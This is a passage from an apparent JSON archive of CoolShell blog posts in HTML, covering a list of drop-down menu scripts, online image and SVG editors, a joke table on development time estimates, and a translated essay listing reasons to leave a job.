src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-13.jpg\" title=\"Drop-Down-Menu-Scripts-13\" width=\"500\"/></a></strong><strong> </strong><strong><a href=\"http://www.clarklab.net/blog/posts/animated-drop-down-menu-with-jquery/\"></a></strong></p>\n<h3><strong><a href=\"http://www.clarklab.net/blog/posts/animated-drop-down-menu-with-jquery/\">Animated Drop Down Menu with jQuery</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-12.jpg\"><img alt=\"Drop Down Menu Scripts 12 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4171\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-12.jpg\" title=\"Drop-Down-Menu-Scripts-12\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/\">jQuery Menu: Dropdown, Drilldown, and iPod Flyout Styles</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-16.jpg\"><img alt=\"Drop Down Menu Scripts 16 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4167\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-16.jpg\" title=\"Drop-Down-Menu-Scripts-16\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://www.givainc.com/labs/mcdropdown_jquery_plugin.htm\">McDropdown jQuery Plugin</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-17.jpg\"><img alt=\"Drop Down Menu Scripts 17 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4166\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-17.jpg\" title=\"Drop-Down-Menu-Scripts-17\" width=\"500\"/></a></strong><strong><a href=\"http://www.hv-designs.co.uk/2009/02/17/sliding-jquery-menu/\"><strong> </strong></a></strong></p>\n<h3><strong><a href=\"http://www.sohtanaka.com/web-design/mega-drop-downs-w-css-jquery/\"><strong>Mega Drop Down Menus with CSS &amp; jQuery</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-3.jpg\"><img alt=\"Drop Down Menu Scripts 3 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4181\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-3.jpg\" title=\"Drop-Down-Menu-Scripts-3\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://www.hv-designs.co.uk/2009/02/17/sliding-jquery-menu/\"><strong>Sliding jQuery Menu</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-4.jpg\"><img alt=\"Drop Down Menu Scripts 4 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4180\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-4.jpg\" title=\"Drop-Down-Menu-Scripts-4\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://jdsharp.us/jQuery/plugins/jdMenu/\">jdMenu Hierarchical Menu Plugin</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-18.jpg\"><img alt=\"Drop Down Menu Scripts 18 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4164\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-18.jpg\" title=\"Drop-Down-Menu-Scripts-18\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://apycom.com/menus/1-dim-gray.html\">Dim Gray Drop Down Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-19.jpg\"><img alt=\"Drop Down Menu Scripts 19 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4163\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-19.jpg\" title=\"Drop-Down-Menu-Scripts-19\" width=\"500\"/></a><br/>\n</strong></p>\n<h3><strong><a href=\"http://www.kriesi.at/archives/create-a-multilevel-dropdown-menu-with-css-and-improve-it-via-jquery\">Create a MultiLevel Dropdown Menu with CSS and Improve it with jQuery</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-20.jpg\"><img alt=\"Drop Down Menu Scripts 20 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4162\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-20.jpg\" title=\"Drop-Down-Menu-Scripts-20\" width=\"500\"/></a></strong></p>\n<h3><strong> </strong><strong><a href=\"http://www.queness.com/post/966/jquery-drop-down-menu-for-rss-subscription-tutorial\">jQuery Drop Down Menu for RSS Subscription</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-11.jpg\"><img alt=\"Drop Down Menu Scripts 11 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4172\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-11.jpg\" title=\"Drop-Down-Menu-Scripts-11\" width=\"500\"/></a></strong><strong> </strong><strong><a href=\"http://www.queness.com/preview/1047/easy-to-style-jquery-drop-down-menu-tutorial\"></a></strong></p>\n<h3><strong><a href=\"http://www.queness.com/preview/1047/easy-to-style-jquery-drop-down-menu-tutorial\">Easy to Style jQuery Drop Down Menu</a></strong></h3>\n<h2><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-10.jpg\"><img alt=\"Drop Down Menu Scripts 10 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4173\" height=\"300\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-10.jpg\" title=\"Drop-Down-Menu-Scripts-10\" width=\"500\"/></a><br/>\n</strong></h2>\n<h4><strong>CSS and Java Scripts<br/>\n</strong></h4>\n<h3><strong><a href=\"http://lwis.net/free-css-drop-down-menu/\" rel=\"nofollow\">Lwis Dropdown Menu Framework</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/lwis_menu.png\"><img alt=\"lwis menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4187\" height=\"236\" src=\"../wp-content/uploads/2010/10/lwis_menu.png\" title=\"lwis_menu\" width=\"500\"/></a></strong></p>\n<h3><strong><a href=\"http://greengeckodesign.com/projects/menumatic.aspx\" rel=\"nofollow\">MenuMatic </a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/menumatic.jpg\"><img alt=\"menumatic 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4188\" height=\"236\" src=\"../wp-content/uploads/2010/10/menumatic.jpg\" title=\"menumatic\" width=\"500\"/></a></strong><strong><a href=\"http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools\" rel=\"nofollow\"></a></strong></p>\n<h3><strong><a href=\"http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools\" rel=\"nofollow\">Sexy Sliding Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/sliding_menu.jpg\"><img alt=\"sliding menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4189\" height=\"236\" src=\"../wp-content/uploads/2010/10/sliding_menu.jpg\" title=\"sliding_menu\" width=\"500\"/></a></strong></p>\n<h3><strong><a href=\"http://www.cssplay.co.uk/menus/circular-sub.html\" rel=\"nofollow\">Circular Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/circular_menu.jpg\"><img alt=\"circular menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4190\" height=\"236\" src=\"../wp-content/uploads/2010/10/circular_menu.jpg\" title=\"circular_menu\" width=\"500\"/></a></strong><strong><a href=\"http://www.jankoatwarpspeed.com/post/2009/01/19/Create-Vimeo-like-top-navigation.aspx\" rel=\"nofollow\"></a></strong></p>\n<h3><strong><a href=\"http://www.jankoatwarpspeed.com/post/2009/01/19/Create-Vimeo-like-top-navigation.aspx\" rel=\"nofollow\">Vimeo-like Top Navigation</a></strong></h3>\n<p><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/vimeo_menu.jpg\"><img alt=\"vimeo menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4191\" height=\"236\" src=\"../wp-content/uploads/2010/10/vimeo_menu.jpg\" title=\"vimeo_menu\" width=\"500\"/></a><strong><a href=\"http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/\" rel=\"nofollow\"></a></strong></p>\n<h3><strong><a href=\"http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/\" rel=\"nofollow\">FG jQuery Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/fg_menu.png\"><img alt=\"fg menu 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4192\" height=\"236\" src=\"../wp-content/uploads/2010/10/fg_menu.png\" title=\"fg_menu\" width=\"500\"/></a></strong></p>\n<h3><strong><a href=\"http://extjs.com/\" rel=\"nofollow\">Ext JS Tree Panel</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/dragdrop.jpg\"><img alt=\"dragdrop 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4193\" height=\"236\" src=\"../wp-content/uploads/2010/10/dragdrop.jpg\" title=\"dragdrop\" width=\"500\"/></a></strong></p>\n<h3><strong><a href=\"http://www.kriesi.at/archives/apple-menu-improved-with-jquery\" rel=\"nofollow\">Apple Style Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/appele1.jpg\"><img alt=\"appele1 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4194\" height=\"236\" src=\"../wp-content/uploads/2010/10/appele1.jpg\" title=\"appele1\" width=\"500\"/></a></strong></p>\n<h3><strong><a href=\"http://www.designmeme.com/articles/hoverboxmenu/\" rel=\"nofollow\">Hover Box</a></strong></h3>\n<h3><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/hoverbox.jpg\"><img alt=\"hoverbox 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4195\" height=\"236\" src=\"../wp-content/uploads/2010/10/hoverbox.jpg\" title=\"hoverbox\" width=\"500\"/></a></strong><strong><a href=\"http://www.styledmenus.com/\" rel=\"nofollow\">Styled Menus</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/style.png\"><img alt=\"style 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" class=\"aligncenter size-full wp-image-4196\" height=\"236\" src=\"../wp-content/uploads/2010/10/style.png\" title=\"style\" width=\"500\"/></a></strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1660.html\"><img alt=\"13个不错的Javascript和CSS的菜单\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1660.html\">13个不错的Javascript和CSS的菜单</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3207.html\">30+ Web下拉菜单</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-25 在线作图编辑服务.html",
    "content": "<html><body><p>以前向大家介绍过<a href=\"https://coolshell.cn/articles/1883.html\" target=\"_blank\">在线的IDE</a>，还有<a href=\"https://coolshell.cn/articles/1310.html\" target=\"_blank\">在线的编译器</a>，还有 <a href=\"https://coolshell.cn/articles/776.html\" rel=\"bookmark\" target=\"_blank\">在线的画UML图的网站</a>，在<a href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">这篇文章里</a>还介绍了一个<a href=\"http://css3.mikeplate.com/\" target=\"_blank\">在线的CSS制作服务</a>，今天给大家介绍两个在线的作图编辑服务。</p>\n<p>一个看似就是Web版的Photoshop：<a href=\"http://pixlr.com/editor/\" target=\"_blank\">http://pixlr.com/editor/</a> （用Flash做的）</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3245\" style=\"width: 585px;\"><a href=\"http://pixlr.com/editor/\"><img alt=\"\" class=\"size-full wp-image-3245\" height=\"365\" src=\"../wp-content/uploads/2010/10/Photo-editor.jpg\" title=\"Photo Editor Online\" width=\"585\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3245\">Photo Editor Online 在线服务</figcaption></figure>\n<p><span style=\"color: #ffffff;\">—–</span></p>\n<p>一个是作矢量图的，叫SVG Editor：</p>\n<p><a href=\"http://svg-edit.googlecode.com/svn-history/r1771/trunk/editor/svg-editor.html\" target=\"_blank\">http://svg-edit.googlecode.com/svn-history/r1771/trunk/editor/svg-editor.html</a></p>\n<p><span id=\"more-3244\"></span></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3246\" style=\"width: 585px;\"><a href=\"http://svg-edit.googlecode.com/svn-history/r1771/trunk/editor/svg-editor.html\"><img alt=\"\" class=\"size-full wp-image-3246\" height=\"388\" src=\"../wp-content/uploads/2010/10/svg-editor.jpg\" title=\"svg Editor\" width=\"585\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3246\">SVG Editor 矢量图编辑</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3244.html\">在线作图编辑服务</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-25 开发时间估计.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">项目管理中，项目任务时间估计是其中一个重要的环节。各种管理员人都觉得时间估计很重要，都希望时间估计能准确一些，但是，事实却并不如此。事实上，会下面这样的结果。</p>\n<table style=\"text-align: left;\">\n<thead>\n<tr>\n<th>目前状态</th>\n<th>完成进展</th>\n<th>剩余任务估计</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>任务刚被分配，还没有做调查</td>\n<td>完成0%</td>\n<td>大约2周</td>\n</tr>\n<tr>\n<td>完成需求分析和调查，攻克了难点</td>\n<td>完成50%</td>\n<td>大约2周多一点</td>\n</tr>\n<tr>\n<td>我几乎做完了。只有出了点我事先没有想到的岔子。<br/>\n不过，我已找到解决方法了。只是还需要一些时间</td>\n<td>完成90%</td>\n<td>大约2周多一点</td>\n</tr>\n<tr>\n<td>我全部做完了，只是还要写文档，做Code Review，<br/>\n单元测试和错误处理</td>\n<td>完成99%</td>\n<td>还需要2周</td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: left;\">呵呵，这是怪我们的项目管理的方法论呢？还是怪我们太过草率的程序员呢？</p>\n<p style=\"text-align: left;\">\n</p><p style=\"text-align: left;\">\n</p><p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10217.html\"><img alt=\"加班与效率\" height=\"150\" src=\"../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4951.html\"><img alt=\"软件公司的两种管理方式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4951.html\">软件公司的两种管理方式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3218.html\">开发时间估计</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-26 你和你的工作.html",
    "content": "<html><body><p>源文：<a href=\"http://youtheuser.com/2010/10/04/you-and-your-job/\">http://youtheuser.com/2010/10/04/you-and-your-job/</a>，有人说下面的这个文章太过Crazy，有人说下面的这个文章是猎头的软文，你换工作换得越多，他们才能越挣钱。我的观点的，先别否定他的观点，试着去理解一下为什么他要这么说，你会发现还有一些道理的。然后，想一想，自己需要的是什么？一份工作？还是一份经历？还是不断的自我挑战？相信你会有知道该怎么去做的。当然，“离职”是最后一步棋，在此前，我更希望你能尝试地在你现在工作环境下去改变去影响。</p>\n<blockquote><p>“The role of a manager should be to ensure that those that work for him/her eventually leave and go onto bigger and better things” —  Mark Plant</p></blockquote>\n<p>如果你对你的工作不高兴——离开，如果每天早上你对你的工作没有激情——无论你在干什么你都要停下来。</p>\n<p>因为这就是我们赖以生存的东西。</p>\n<ol>\n<li>如果你的工作没有挑战性 – leave.</li>\n<li>如果你在混你的工作 – leave.</li>\n<li>如果你觉得现在不辛苦而又感到压力大 – leave.</li>\n<li>如果你完全知道你现在正在做的所有一切的事 – leave.</li>\n<li>如果你没有得到足够多的失败– leave 并到找一个地方可以让你获得成功前的失败。而当你发现你天天都在成功 – leave again.</li>\n<li>如果你觉得你很成功 – leave 然后去找某个事或某个地方你不会那么成功，而当你又觉得你又很成功了 – leave again.</li>\n<li>如果所有的人都喜欢你并喜欢和你一起工作 – leave 然后去某个地方，那里的人并不喜欢你（然后你让他们喜欢你）。</li>\n<li>如果你的工作就像是赢奖品一样，并且你总是能赢 – leave 然后找个地儿，那里的人总是赢不了什么。帮他们扭转局面。</li>\n<li>如果你认为你知道产品的所有的内在的东西 – leave 然后找一个你不知道的产品。</li>\n<p><span id=\"more-3231\"></span></p>\n<li>如果你认为你明白你所有影响力的价值所在，并觉得你已挑战过所有你可以找到的方面 – leave 然后找个地儿，在那里有不同的甚至你不了解的能影响你的人或事。</li>\n<li>如果你的经理不能影响你最终去成就更大更好的事情 – leave.</li>\n<li>如果有人妨碍你的进步（无论是内部的还是外部的） – leave.</li>\n<li>如果有人正试图让你呆在你的工作里不要改变 – leave.</li>\n<li>如果你的经理正试图让你留下，但他并不是一个好的经理 – leave.</li>\n<li>如果日子过得很顺，并且那里有太多的时候可以闲扯（或是你身边都是有太多时间闲扯的人）– leave.</li>\n<li>如果你没有和哪些和你一样在团队工作和协作方面投入相应的思考和精力的人一起工作 – leave 并去寻找这些人</li>\n<li>如果那里有这样一种文化——靠加钱来说服别人留下 – leave. （<a href=\"http://Coolshell.cn\" target=\"_blank\">译注</a>：这样的Culture必然造就不公平）</li>\n<li>如果那里有一种商业文化阻止人不能为竞争对手工作 – leave.（<a href=\"http://Coolshell.cn\" target=\"_blank\">译注</a>：《保密协议》里应该限制的是内容，而不是人身自由）</li>\n<li>如果你工作的那个地方有一个商业文化试图让竞争对手失败 – leave. （<a href=\"http://Coolshell.cn\" target=\"_blank\">译注</a>：人个理解竞争不是让对手失败，而是比对手做得更好）</li>\n<li>如果那里没有一种文化（或是一种理解），其可以帮助优秀的人和那些工作不是太好的人去创造好的工作关系，并让他们可以很好的工作在一起 – leave.</li>\n<li>如果那里的文化并不理解，良好工作关系间的紧密程度能够造就更好的产出 – leave.</li>\n</ol>\n<p>我觉得作者所说的leave，应该是离开这个事，这个团队，而不完全是离开这个公司。我个人对上述的21条中的某些条觉得非常认同，比如：1，8，11，12，15，16，17。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17583.html\"><img alt=\"技术人员的发展之路\" height=\"150\" src=\"../wp-content/uploads/2016/12/people-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17583.html\">技术人员的发展之路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8790.html\"><img alt=\"程序算法与人生选择\" height=\"150\" src=\"../wp-content/uploads/2012/12/choice-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 